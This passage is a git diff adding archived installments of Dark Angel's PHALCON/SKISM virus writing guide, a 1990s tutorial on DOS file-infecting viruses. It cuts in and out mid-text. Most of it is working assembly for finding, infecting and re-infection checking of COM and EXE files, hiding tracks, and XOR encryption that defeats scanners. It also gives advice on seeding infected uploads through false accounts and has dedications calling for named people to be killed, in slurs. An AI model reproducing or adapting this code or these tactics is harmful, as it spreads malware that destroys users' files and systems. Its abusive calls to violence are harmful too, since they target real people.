original! + +-=-=-=-=-=-=-=- +OFFSET PROBLEMS +-=-=-=-=-=-=-=- +There is one caveat regarding calculation of offsets. After you infect a +file, the locations of variables change. You MUST account for this. All +relative offsets can stay the same, but you must add the file size to the +absolute offsets or your program will not work. This is the most tricky +part of writing virii and taking these into account can often greatly +increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE +SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS! +If you don't, you'll get fucked over and your virus WILL NOT WORK! One +entire part of the guide will be devoted to this subject. + +-=-=-=- +TESTING +-=-=-=- +Testing virii is a dangerous yet essential part of the virus creation +process. This is to make certain that people *will* be hit by the virus +and, hopefully, wiped out. Test thoroughly and make sure it activates +under the conditions. It would be great if everyone had a second computer +to test their virii out, but, of course, this is not the case. So it is +ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and +FAT. Norton is handy in this doing this. Do NOT disregard this advice +(even though I know that you will anyway) because you WILL be hit by your +own virii. When I wrote my first virus, my system was taken down for two +days because I didn't have good backups. Luckily, the virus was not overly +destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL +PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the +damage is not permanent. RamDrives are also useful for testing trojans, +but that is the topic of another file... + +-=-=-=-=-=-=- +DISTRIBUTION +-=-=-=-=-=-=- +This is another fun part of virus writing. It involves sending your +brilliantly-written program through the phone lines to your local, +unsuspecting bulletin boards. What you should do is infect a file that +actually does something (leech a useful utility from another board), infect +it, and upload it to a place where it will be downloaded by users all over. +The best thing is that it won't be detected by puny scanner-wanna-bes by +McAffee, since it is new! Oh yeah, make sure you are using a false account +(duh). Better yet, make a false account with the name/phone number of +someone you don't like and upload the infected file under the his name. +You can call back from time to time and use a door such as ZDoor to check +the spread of the virus. The more who download, the more who share in the +experience of your virus! + +I promised a brief section on overwriting virii, so here it is... +-=-=-=-=-=-=-=-=- +OVERWRITING VIRII +-=-=-=-=-=-=-=-=- +All these virii do is spread throughout the system. They render the +infected files inexecutable, so they are easily detected. It is simple to +write one: + + +-------------+ +-----+ +-------------+ + | Program | + |Virus| = |Virus|am | + +-------------+ +-----+ +-------------+ + +These virii are simple little hacks, but pretty worthless because of their +easy detectability. Enuff said! + +-=-=-=-=-=-=-=-=-=-=-=-=- +WELL, THAT JUST ABOUT... +-=-=-=-=-=-=-=-=-=-=-=-=- +wraps it up for this installment of Dark Angel's Phunky virus writing +guide. There will (hopefully) be future issues where I discuss more about +virii and include much more source code (mo' source!). Till then, happy +coding! + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/virus/ps_vir2.vir b/textfiles.com/virus/ps_vir2.vir new file mode 100644 index 00000000..d4f13307 --- /dev/null +++ b/textfiles.com/virus/ps_vir2.vir @@ -0,0 +1,596 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + DISCLAIMER: Pretend you see a disclaimer here. + 99.44% of the code guaranteed to work. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + DEDICATION: Please try your best to kill those + who made this possible, especially that dumb + bitch who doesn't know her own name (Patty), + and her lover Ross M. Greenberg. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + GREETS -N- STUFF: Greets go to all the members + of PHALCON/SKISM. I wish to give buckets o' + thanks to Hellraiser, Garbageheap, and Demo- + gorgon. No thanks this time to Orion Rouge, + the godly master of idiocy. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Dark Angel's Chunky Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴 컴컴� 컴컴컴� 컴컴� + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + INSTALLMENT II: THE REPLICATOR + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + In the last installment of my Virus Writing Guide, I explained the various + parts of a virus and went into a brief discussion about each. In this + issue, I shall devote all my attention towards the replicator portion of + the virus. I promised code and code I shall present. + + However, I shall digress for a moment because it has come to my attention + that some mutant copies of the first installment were inadvertently + released. These copies did not contain a vital section concerning the + calculation of offsets. + + You never know where your variables and code are going to wind up in + memory. If you think a bit, this should be pretty obvious. Since you are + attaching the virus to the end of a program, the location in memory is + going to be changed, i.e. it will be larger by the size of the infected + program. So, to compensate, we must take the change in offset from the + original virus, or the delta offset, and add that to all references to + variables. + + Instructions that use displacement, i.e. relative offsets, need not be + changed. These instructions are the JA, JB, JZ class of instructions, JMP + SHORT, JMP label, and CALL. Thus, whenever possible use these in favor of, + say, JMP FAR PTR. + + Suppose in the following examples, si is somehow loaded with the delta + offset. + + Replace + mov ax, counter + With + mov ax, word ptr [si+offset counter] + + Replace + mov dx, offset message + With + lea dx, [si+offset message] + + You may be asking, "how the farg am I supposed to find the delta offset!?" + It is simple enough: + + call setup + setup: + pop si + sub si, offset setup + + An explanation of the above fragment is in order. CALL setup pushes the + location of the next instruction, i.e. offset setup, onto the stack. Next, + this location is POPed into si. Finally, the ORIGINAL offset of setup + (calculated at compile-time) is subtracted from si, giving you the delta + offset. In the original virus, the delta offset will be 0, i.e. the new + location of setup equals the old location of setup. + + It is often preferable to use bp as your delta offset, since si is used in + string instructions. Use whichever you like. I'll randomly switch between + the two as suits my mood. + + Now back to the other stuff... + + A biological virus is a parasitic "organism" which uses its host to spread + itself. It must keep the host alive to keep itself "alive." Only when it + has spread everywhere will the host die a painful, horrible death. The + modern electronic virus is no different. It attaches itself to a host + system and reproduces until the entire system is fucked. It then proceeds + and neatly wrecks the system of the dimwit who caught the virus. + + Replication is what distinguishes a virus from a simple trojan. Anybody + can write a trojan, but a virus is much more elegant. It acts almost + invisibly, and catches the victim off-guard when it finally surfaces. The + first question is, of course, how does a virus spread? Both COM and EXE + infections (along with sample infection routines) shall be presented. + + There are two major approaches to virii: runtime and TSR. Runtime virii + infect, yup, you guessed it, when the infected program is run, while TSR + virii go resident when the infected programs are run and hook the + interrupts and infect when a file is run, open, closed, and/or upon + termination (i.e. INT 20h, INT 21h/41h). There are advantages and + disadvantages to each. Runtime virii are harder to detect as they don't + show up on memory maps, but, on the other hand, the delay while it searches + for and infects a file may give it away. TSR virii, if not properly done, + can be easily spotted by utilities such as MAPMEM, PMAP, etc, but are, in + general, smaller since they don't need a function to search for files to + infect. They are also faster than runtime virii, also because they don't + have to search for files to infect. I shall cover runtime virii here, and + TSR virii in a later installment. + + Here is a summary of the infection procedure: + 1) Find a file to infect. + 2) Check if it meets the infection criteria. + 3) See if it is already infected and if so, go back to 1. + 4) Otherwise, infect the file. + 5) Cover your tracks. + + I shall go through each of these steps and present sample code for each. + Note that although a complete virus can be built from the information + below, you cannot merely rip the code out and stick it together, as the + fragments are from various different virii that I have written. You must + be somewhat familiar with assembly. I present code fragments; it is up to + you to either use them as examples or modify them for your own virii. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 1 - FIND A FILE TO INFECT + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Before you can infect a file, you have to find it first! This can be a + bottleneck in the performance of the virus, so it should be done as + efficiently as possible. For runtime virii, there are a few possibilities. + You could infect files in only the current directory, or you could write a + directory traversal function to infect files in ALL directories (only a few + files per run, of course), or you could infect files in only a few select + directories. Why would you choose to only infect files in the current + directory? It would appear to limit the efficacy of the infections. + However, this is done in some virii either to speed up the virus or to + shorten the code size. + + Here is a directory traversal function. It uses recursion, so it is rather + slow, but it does the job. This was excerpted with some modifications from + The Funky Bob Ross Virus [Beta]. + + traverse_fcn proc near + push bp ; Create stack frame + mov bp,sp + sub sp,44 ; Allocate space for DTA + + call infect_directory ; Go to search & destroy routines + + mov ah,1Ah ;Set DTA + lea dx,word ptr [bp-44] ; to space allotted + int 21h ;Do it now! + + mov ah, 4Eh ;Find first + mov cx,16 ;Directory mask + lea dx,[si+offset dir_mask] ; *.* + int 21h + jmp short isdirok + gonow: + cmp byte ptr [bp-14], '.' ; Is first char == '.'? + je short donext ; If so, loop again + lea dx,word ptr [bp-14] ; else load dirname + mov ah,3Bh ; and changedir there + int 21h + jc short donext ; Do next if invalid + inc word ptr [si+offset nest] ; nest++ + call near ptr traverse_fcn ; recurse directory + donext: + lea dx,word ptr [bp-44] ; Load space allocated for DTA + mov ah,1Ah ; and set DTA to this new area + int 21h ; 'cause it might have changed + + mov ah,4Fh ;Find next + int 21h + isdirok: + jnc gonow ; If OK, jmp elsewhere + cmp word ptr [si+offset nest], 0 ; If root directory + ; (nest == 0) + jle short cleanup ; then Quit + dec word ptr [si+offset nest] ; Else decrement nest + lea dx, [si+offset back_dir]; '..' + mov ah,3Bh ; Change directory + int 21h ; to previous one + cleanup: + mov sp,bp + pop bp + ret + traverse_fcn endp + + ; Variables + nest dw 0 + back_dir db '..',0 + dir_mask db '*.*',0 + + The code is self-explanatory. Make sure you have a function called + infect_directory which scans the directory for possible files to infect and + makes sure it doesn't infect already-infected files. This function, in + turn, calls infect_file which infects the file. + + Note, as I said before, this is slow. A quicker method, albeit not as + global, is the "dot dot" method. Hellraiser showed me this neat little + trick. Basically, you keep searching each directory and, if you haven't + infected enough, go to the previous directory (dot dot) and try again, and + so on. The code is simple. + + dir_loopy: + call infect_directory + lea dx, [bp+dotdot] + mov ah, 3bh ; CHDIR + int 21h + jnc dir_loopy ; Carry set if in root + + ; Variables + dotdot db '..',0 + + Now you must find a file to infect. This is done (in the fragments above) + by a function called infect_directory. This function calls FINDFIRST and + FINDNEXT a couple of times to find files to infect. You should first set + up a new DTA. NEVER use the DTA in the PSP (at 80h) because altering that + will affect the command-line parameters of the infected program when + control is returned to it. This is easily done with the following: + + mov ah, 1Ah ; Set DTA + lea dx, [bp+offset DTA] ; to variable called DTA (wow!) + int 21h + + Where DTA is a 42-byte chunk of memory. Next, issue a series of FINDFIRST + and FINDNEXT calls: + + mov ah, 4Eh ; Find first file + mov cx, 0007h ; Any file attribute + lea dx, [bp+offset file_mask]; DS:[DX] --> filemask + int 21h + jc none_found + found_another: + call check_infection + mov ah, 4Fh ; Find next file + int 21h + jnc found_another + none_found: + + Where file_mask is DBed to either '*.EXE',0 or '*.COM',0. Alternatively, + you could FINDFIRST for '*.*',0 and check if the extension is EXE or COM. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 2 - CHECK VERSUS INFECTION CRITERIA + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + Your virus should be judicious in its infection. For example, you might + not want to infect COMMAND.COM, since some programs (i.e. the puny + FluShot+) check its CRC or checksum on runtime. Perhaps you do not wish to + infect the first valid file in the directory. Ambulance Car is an example + of such a virus. Regardless, if there is some infection criteria, you + should check for it now. Here's example code checking if the last two + letters are 'ND', a simple check for COMMAND.COM: + + cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order + jz fail_check + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + STEP 3 - CHECK FOR PREVIOUS INFECTION + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + Every virus has certain characteristics with which you can identify whether + a file is infected already. For example, a certain piece of code may + always occur in a predictable place. Or perhaps the JMP instruction is + always coded in the same manner. Regardless, you should make sure your + virus has a marker so that multiple infections of the same file do not + occur. Here's an example of one such check (for a COM file infector): + + mov ah,3Fh ; Read first three + mov cx, 3 ; bytes of the file + lea dx, [bp+offset buffer] ; to the buffer + int 21h + + mov ax, 4202h ; SEEK from EOF + xor cx, cx ; DX:CX = offset + xor dx, dx ; Returns filesize + int 21h ; in DX:AX + + sub ax, virus_size + 3 + cmp word ptr [bp+offset buffer+1], ax + jnz infect_it + + bomb_out: + mov ah, 3Eh ; else close the file + int 21h ; and go find another + + In this example, BX is assumed to hold a file handle to the program to be + checked for infection and virus_size equals the size of the virus. Buffer + is assumed to be a three-byte area of empty space. This code fragment + reads the first three bytes into buffer and then compares the JMP location + (located in the word beginning at buffer+1) to the filesize If the JMP + points to virus_size bytes before the EOF, then the file is already + infected with this virus. Another method would be to search at a certain + location in the file for a marker byte or word. For example: + + mov ah, 3Fh ; Read the first four + mov cx, 4 ; bytes of the file into + lea dx, [bp+offset buffer] ; the buffer. + int 21h + + cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth + jz bomb_out ; byte for the marker + infect_it: + + 컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 4 - INFECT THE FILE + 컴컴컴컴컴컴컴컴컴컴컴컴 + This is the "guts" of the virus, the heart of the replicator. Once you + have located a potential file, you must save the attributes, time, date, + and size for later use. The following is a breakdown of the DTA: + + Offset Size What it is + 0h 21 BYTES Reserved, varies as per DOS version + 15h BYTE File attribute + 16h WORD File time + 18h WORD File date + 1Ah DWORD File size + 1Eh 13 BYTES ASCIIZ filename + extension + + As you can see, the DTA holds all the vital information about the file that + you need. The following code fragment is a sample of how to save the info: + + lea si, [bp+offset DTA+15h] ; Start from attributes + mov cx, 9 ; Finish with size + lea di, [bp+offset f_attr] ; Move into your locations + rep movsb + ; Variables needed + f_attr db ? + f_time dw ? + f_date dw ? + f_size dd ? + + You can now change the file attributes to nothing through INT 21h/Function + 43h/Subfunction 01h. This is to allow infection of system, hidden, and + read only files. Only primitive (or minimal) virii cannot handle such + files. + + lea dx, [bp+offset DTA+1eh] ; DX points to filename in + mov ax, 4301h ; DTA + xor cx, cx ; Clear file attributes + int 21h ; Issue the call + + Once the attributes have been annihilated, you may open the file with + callous impunity. Use a handle open in read/write mode. + + lea dx, [bp+offset DTA+1eh] ; Use filename in DTA + mov ax, 3d02h ; Open read/write mode + int 21h ; duh. + xchg ax, bx ; Handle is more useful in + ; BX + + Now we come to the part you've all been waiting for: the infection routine. + I am pleased to present code which will handle the infection of COM files. + Yawn, you say, I can already do that with the information presented in the + previous installment. Ah, but there is more, much more. A sample EXE + infector shall also be presented shortly. + + The theory behind COM file infection was covered in the last installment, + so I shall not delve into the details again. Here is a sample infector: + + ; Sample COM infector. Assumes BX holds the file handle + ; Assume COM file passes infection criteria and not already infected + mov ah, 3fh + lea dx, [bp+buffer1] + mov cx, 3 + int 21h + + mov ax, 4200h ; Move file pointer to + xor cx, cx ; the beginning of the + xor dx, dx ; file + int 21h + + mov byte ptr [bp+buffer2], 0e9h ; JMP + mov ax, word ptr [bp+f_size] + sub ax, part1_size ; Usually 3 + mov word ptr [bp+buffer2+1], ax ; offset of JMP + + ; Encode JMP instruction to replace beginning of the file + mov byte ptr [bp+buffer2], 0e9h ; JMP + mov ax, word ptr [bp+f_size] + sub ax, part1_size ; Usually 3 + mov word ptr [bp+buffer2+1], ax ; offset of JMP + + ; Write the JMP instruction to the beginning of the file + mov ah, 40h ; Write CX bytes to + mov cx, 3 ; handle in BX from + lea dx, [bp+buffer2] ; buffer -> DS:[DX] + int 21h + + mov ax, 4202h ; Move file pointer to + xor cx, cx ; end of file + xor dx, dx + int 21h + + mov ah, 40h ; Write CX bytes + mov cx, endofvirus - startofpart2 ; Effective size of virus + lea dx, [bp+startofpart2] ; Begin write at start + int 21h + + ; Variables + buffer1 db 3 dup (?) ; Saved bytes from the + ; infected file to restore + ; later + buffer2 db 3 dup (?) ; Temp buffer + + After some examination, this code will prove to be easy to understand. It + starts by reading the first three bytes into a buffer. Note that you could + have done this in an earlier step, such as when you are checking for a + previous infection. If you have already done this, you obviously don't + need to do it again. This buffer must be stored in the virus so it can be + restored later when the code is executed. + + EXE infections are also simple, although a bit harder to understand. + First, the thoery. Here is the format of the EXE header: + + Ofs Name Size Comments + 00 Signature 2 bytes always 4Dh 5Ah (MZ) + *02 Last Page Size 1 word number of bytes in last page + *04 File Pages 1 word number of 512 byte pages + 06 Reloc Items 1 word number of entries in table + 08 Header Paras 1 word size of header in 16 byte paras + 0A MinAlloc 1 word minimum memory required in paras + 0C MaxAlloc 1 word maximum memory wanted in paras + *0E PreReloc SS 1 word offset in paras to stack segment + *10 Initial SP 1 word starting SP value + 12 Negative checksum 1 word currently ignored + *14 Pre Reloc IP 1 word execution start address + *16 Pre Reloc CS 1 word preadjusted start segment + 18 Reloc table offset 1 word is offset from start of file) + 1A Overlay number 1 word ignored if not overlay + 1C Reserved/unused 2 words + * denotes bytes which should be changed by the virus + + To understand this, you must first realise that EXE files are structured + into segments. These segments may begin and end anywhere. All you have to + do to infect an EXE file is tack on your code to the end. It will then be + in its own segment. Now all you have to do is make the virus code execute + before the program code. Unlike COM infections, no program code is + overwritten, although the header is modified. Note the virus can still + have the V1/V2 structure, but only V2 needs to be concatenated to the end + of the infected EXE file. + + Offset 4 (File Pages) holds the size of the file divided by 512, rounded + up. Offset 2 holds the size of the file modulo 512. Offset 0Eh holds the + paragraph displacement (relative to the end of the header) of the initial + stack segment and Offset 10h holds the displacement (relative to the start + of the stack segment) of the initial stack pointer. Offset 16h holds the + paragraph displacement of the entry point relative to the end of the header + and offset 14h holds the displacement entry point relative to the start of + the entry segment. Offset 14h and 16h are the key to adding the startup + code (the virus) to the file. + + Before you infect the file, you should save the CS:IP and SS:SP found in + the EXE header, as you need to restore them upon execution. Note that + SS:SP is NOT stored in Intel reverse-double-word format. If you don't know + what I'm talking about, don't worry; it's only for very picky people. You + should also save the file length as you will need to use that value several + times during the infection routine. Now it's time to calculate some + offsets! To find the new CS:IP and SS:SP, use the following code. It + assumes the file size is loaded in DX:AX. + + mov bx, word ptr [bp+ExeHead+8] ; Header size in paragraphs + ; ^---make sure you don't destroy the file handle + mov cl, 4 ; Multiply by 16. Won't + shl bx, cl ; work with headers > 4096 + ; bytes. Oh well! + sub ax, bx ; Subtract header size from + sbb dx, 0 ; file size + ; Now DX:AX is loaded with file size minus header size + mov cx, 10h ; DX:AX/CX = AX Remainder DX + div cx + + This code is rather inefficient. It would probably be easier to divide by + 16 first and then perform a straight subtraction from AX, but this happens + to be the code I chose. Such is life. However, this code does have some + advantages over the more efficient one. With this, you are certain that + the IP (in DX) will be under 15. This allows the stack to be in the same + segment as the entry point, as long as the stack pointer is a large number. + + Now AX*16+DX points to the end of code. If the virus begins immediately + after the end of the code, AX and DX can be used as the initial CS and IP, + respectively. However, if the virus has some junk (code or data) before + the entry point, add the entry point displacement to DX (no ADC with AX is + necessary since DX will always be small). + + mov word ptr [bp+ExeHead+14h], dx ; IP Offset + mov word ptr [bp+ExeHead+16h], ax ; CS Displacement in module + + The SP and SS can now be calculated. The SS is equal to the CS. The + actual value of the SP is irrelevant, as long as it is large enough so the + stack will not overwrite code (remember: the stack grows downwards). As a + general rule, make sure the SP is at least 100 bytes larger than the virus + size. This should be sufficient to avoid problems. + + mov word ptr [bp+ExeHead+0Eh], ax ; Paragraph disp. SS + mov word ptr [bp+ExeHead+10h], 0A000h ; Starting SP + + All that is left to fiddle in the header is the file size. Restore the + original file size from wherever you saved it to DX:AX. To calculate + DX:AX/512 and DX:AX MOD 512, use the following code: + + mov cl, 9 ; Use shifts again for + ror dx, cl ; division + push ax ; Need to use AX again + shr ax, cl + adc dx, ax ; pages in dx + pop ax + and ah, 1 ; mod 512 in ax + + mov word ptr [bp+ExeHead+4], dx ; Fix-up the file size in + mov word ptr [bp+ExeHead+2], ax ; the EXE header. + + All that is left is writing back the EXE header and concatenating the virus + to the end of the file. You want code? You get code. + + mov ah, 3fh ; BX holds handle + mov cx, 18h ; Don't need entire header + lea dx, [bp+ExeHead] + int 21h + + call infectexe + + mov ax, 4200h ; Rewind to beginning of + xor cx, cx ; file + xor dx, dx + int 21h + + mov ah, 40h ; Write header back + mov cx, 18h + lea dx, [bp+ExeHead] + int 21h + + mov ax, 4202h ; Go to end of file + xor cx, cx + xor dx, dx + int 21h + + mov ah, 40h ; Note: Only need to write + mov cx, part2size ; part 2 of the virus + lea dx, [bp+offset part2start] ; (Parts of virus + int 21h ; defined in first + ; installment of + ; the guide) + + Note that this code alone is not sufficient to write a COM or EXE infector. + Code is also needed to transfer control back to the parent program. The + information needed to do this shall be presented in the next installment. + In the meantime, you can try to figure it out on your own; just remember + that you must restore all that you changed. + + 컴컴컴컴컴컴컴컴컴컴컴컴컴 + STEP 5 - COVER YOUR TRACKS + 컴컴컴컴컴컴컴컴컴컴컴컴컴 + This step, though simple to do, is too easily neglected. It is extremely + important, as a wary user will be alerted to the presence of a virus by any + unnecessary updates to a file. In its simplest form, it involves the + restoration of file attributes, time and date. This is done with the + following: + + mov ax, 5701h ; Set file time/date + mov dx, word ptr [bp+f_date] ; DX = date + mov cx, word ptr [bp+f_time] ; CX = time + int 21h + + mov ah, 3eh ; Handle close file + int 21h + + mov ax, 4301h ; Set attributes + lea dx, [bp+offset DTA + 1Eh] ; Filename still in DTA + xor ch, ch + mov cl, byte ptr [bp+f_attrib] ; Attribute in CX + int 21h + + Remember also to restore the directory back to the original one if it + changed during the run of the virus. + + 컴컴컴컴컴컴컴 + WHAT'S TO COME + 컴컴컴컴컴컴컴 + I have been pleased with the tremendous response to the last installment of + the guide. Next time, I shall cover the rest of the virus as well as + various tips and common tricks helpful in writing virii. Until then, make + sure you look for 40Hex, the official PHALCON/SKISM magazine, where we + share tips and information pertinent to the virus community. + + +Downloaded From P-80 International Information Systems 304-744-2253 diff --git a/textfiles.com/virus/ps_vir3.vir b/textfiles.com/virus/ps_vir3.vir new file mode 100644 index 00000000..6eff44b2 --- /dev/null +++ b/textfiles.com/virus/ps_vir3.vir @@ -0,0 +1,444 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// + // // // // || //==== //==== //==// // ||/ + + /==== // // // /==== /| /| + // // // // // //| //| + ===\ // // // ===\ //|| //|| + // // \\ // // // ||// || + ====/ // \\ // ====/ // ||/ || + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DISCLAIMER: I hereby claim to have written this + file. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + DEDICATION: This is dedicated to Patty Hoffman, + that fat bitch who doesn't know her own name, + and to the millions of dumb fools who were so + scared by Michelangelo that they didn't touch + their computers for an entire day. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + GREETS: to all PHALCON/SKISM members especially + Garbageheap, Hellraiser, and Demogorgon. + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� + + Dark Angel's Crunchy Virus Writing Guide + 컴컴 컴컴컴� 컴컴컴� 컴컴� 컴컴컴� 컴컴� + "It's the right thing to do" + + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + INSTALLMENT III: NONRESIDENT VIRII, PART II + 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 + + Welcome to the third installment of my Virus Writing Guide. In the + previous installment, I covered the primary part of the virus - the + replicator. As promised, I shall now cover the rest of the nonresident + virus and present code which, when combined with code from the previous + installment, will be sufficient to allow anyone to write a simple virus. + Additionally, I will present a few easy tricks and tips which can help + optimise your code. + + 컴컴컴컴컴컴� + THE CONCEALER + 컴컴컴컴컴컴� + The concealer is the most common defense virus writers use to avoid + detection of virii. The most common encryption/decryption routine by far + is the XOR, since it may be used for both encryption and decryption. + + encrypt_val dw ? ; Should be somewhere in decrypted area + + decrypt: + encrypt: + mov dx, word ptr [bp+encrypt_val] + mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 + lea si, [bp+part_to_encrypt_start] + mov di, si + + xor_loop: + lodsw + xor ax, dx + stosw + loop xor_loop + + The previous routine uses a simple XOR routine to encrypt or decrypt code + in memory. This is essentially the same routine as the one in the first + installment, except it encrypts words rather than bytes. It therefore has + 65,535 mutations as opposed to 255 and is also twice as fast. While this + routine is simple to understand, it leaves much to be desired as it is + large and therefore is almost begging to be a scan string. A better method + follows: + + encrypt_val dw ? + + decrypt: + encrypt: + mov dx, word ptr [bp+encrypt_val] + lea bx, [bp+part_to_encrypt_start] + mov cx, (part_to_encrypt_end - part_to_encrypt_start + 1) / 2 + + xor_loop: + xor word ptr [bx], dx + add bx, 2 + loop xor_loop + + Although this code is much shorter, it is possible to further reduce its + size. The best method is to insert the values for the encryption value, + BX, and CX, in at infection-time. + + decrypt: + encrypt: + mov bx, 0FFFFh + mov cx, 0FFFFh + + xor_loop: + xor word ptr [bx], 0FFFFh + add bx, 2 + loop xor_loop + + All the values denoted by 0FFFFh may be changed upon infection to values + appropriate for the infected file. For example, BX should be loaded with + the offset of part_to_encrypt_start relative to the start of the infected + file when the encryption routine is written to the infected file. + + The primary advantage of the code used above is the minimisation of scan + code length. The scan code can only consist of those portions of the code + which remain constant. In this case, there are only three or four + consecutive bytes which remain constant. Since the entire encryption + consist of only about a dozen bytes, the size of the scan code is extremely + tiny. + + Although the function of the encryption routine is clear, perhaps the + initial encryption value and calculation of subsequent values is not as + lucid. The initial value for most XOR encryptions should be 0. You should + change the encryption value during the infection process. A random + encryption value is desired. The simplest method of obtaining a random + number is to consult to internal clock. A random number may be easily + obtained with a simple: + + mov ah, 2Ch ; Get me a random number. + int 21h + mov word ptr [bp+encrypt_val], dx ; Can also use CX + + Some encryption functions do not facilitate an initial value of 0. For an + example, take a look at Whale. It uses the value of the previous word as + an encryption value. In these cases, simply use a JMP to skip past the + decryption routine when coding the virus. However, make sure infections + JMP to the right location! For example, this is how you would code such a + virus: + + org 100h + + start: + jmp past_encryption + + ; Insert your encryption routine here + + past_encryption: + + The encryption routine is the ONLY part of the virus which needs to be + unencrypted. Through code-moving techniques, it is possible to copy the + infection mechanism to the heap (memory location past the end of the file + and before the stack). All that is required is a few MOVSW instructions + and one JMP. First the encryption routine must be copied, then the + writing, then the decryption, then the RETurn back to the program. For + example: + + lea si, [bp+encryption_routine] + lea di, [bp+heap] + mov cx, encryption_routine_size + push si + push cx + rep movsb + + lea si, [bp+writing_routine] + mov cx, writing_routine_size + rep movsb + + pop cx + pop si + rep movsb + + mov al, 0C3h ; Tack on a near return + stosb + + call [bp+heap] + + Although most virii, for simplicity's sake, use the same routine for both + encryption and decryption, the above code shows this is completely + unnecessary. The only modification of the above code for inclusion of a + separate decryption routine is to take out the PUSHes and replace the POPs + with the appropriate LEA si and MOV cx. + + Original encryption routines, while interesting, might not be the best. + Stolen encryption routines are the best, especially those stolen from + encrypted shareware programs! Sydex is notorious for using encryption in + their shareware programs. Take a look at a shareware program's puny + encryption and feel free to copy it into your own. Hopefully, the anti- + viral developers will create a scan string which will detect infection by + your virus in shareware products simply because the encryption is the same. + + Note that this is not a full treatment of concealment routines. A full + text file could be written on encryption/decryption techniques alone. This + is only the simplest of all possible encryption techniques and there are + far more concealment techniques available. However, for the beginner, it + should suffice. + + 컴컴컴컴컴컴컴 + THE DISPATCHER + 컴컴컴컴컴컴컴 + The dispatcher is the portion of the virus which restores control back to + the infected program. The dispatchers for EXE and COM files are, + naturally, different. + + In COM files, you must restore the bytes which were overwritten by your + virus and then transfer control back to CS:100h, which is where all COM + files are initially loaded. + + RestoreCOM: + mov di, 100h ; We are copying to the beginning + lea si, [bp+savebuffer] ; We are copying from our buffer + push di ; Save offset for return (100h) + movsw ; Mo efficient than mov cx, 3, movsb + movsb ; Alter to meet your needs + retn ; A JMP will also work + + EXE files require simply the restoration of the stack segment/pointer and + the code segment/instruction pointer. + + ExeReturn: + mov ax, es ; Start at PSP segment + add ax, 10h ; Skip the PSP + add word ptr cs:[bp+ExeWhereToJump+2], ax + cli + add ax, word ptr cs:[bp+StackSave+2] ; Restore the stack + mov ss, ax + mov sp, word ptr cs:[bp+StackSave] + sti + db 0eah ; JMP FAR PTR SEG:OFF + ExeWhereToJump: + dd 0 + StackSave: + dd 0 + + ExeWhereToJump2 dd 0 + StackSave2 dd 0 + + Upon infection, the initial CS:IP and SS:SP should be stored in + ExeWhereToJump2 and StackSave2, respectively. They should then be moved to + ExeWhereToJump and StackSave before restoration of the program. This + restoration may be easily accomplished with a series of MOVSW instructions. + + Some like to clear all the registers prior to the JMP/RET, i.e. they issue + a bunch of XOR instructions. If you feel happy and wish to waste code + space, you are welcome to do this, but it is unnecessary in most instances. + + 컴컴컴컴 + THE BOMB + 컴컴컴컴 + + "The horror! The horror!" + - Joseph Conrad, The Heart of Darkness + + What goes through the mind of a lowly computer user when a virus activates? + What terrors does the unsuspecting victim undergo as the computer suddenly + plays a Nazi tune? How awful it must be to lose thousands of man-hours of + work in an instant! + + Actually, I do not support wanton destruction of data and disks by virii. + It serves no purpose and usually shows little imagination. For example, + the world-famous Michelangelo virus did nothing more than overwrite sectors + of the drive with data taken at random from memory. How original. Yawn. + Of course, if you are hell-bent on destruction, go ahead and destroy all + you want, but just remember that this portion of the virus is usually the + only part seen by "end-users" and distinguishes it from others. The best + examples to date include: Ambulance Car, Cascade, Ping Pong, and Zero Hunt. + Don't forget the PHALCON/SKISM line, especially those by me (I had to throw + in a plug for the group)! + + As you can see, there's no code to speak of in this section. Since all + bombs should be original, there isn't much point of putting in the code for + one, now is there! Of course, some virii don't contain any bomb to speak + of. Generally speaking, only those under about 500 bytes lack bombs. + There is no advantage of not having a bomb other than size considerations. + + 컴컴컴컴� + MEA CULPA + 컴컴컴컴� + I regret to inform you that the EXE infector presented in the last + installment was not quite perfect. I admit it. I made a mistake of + colossal proportions The calculation of the file size and file size 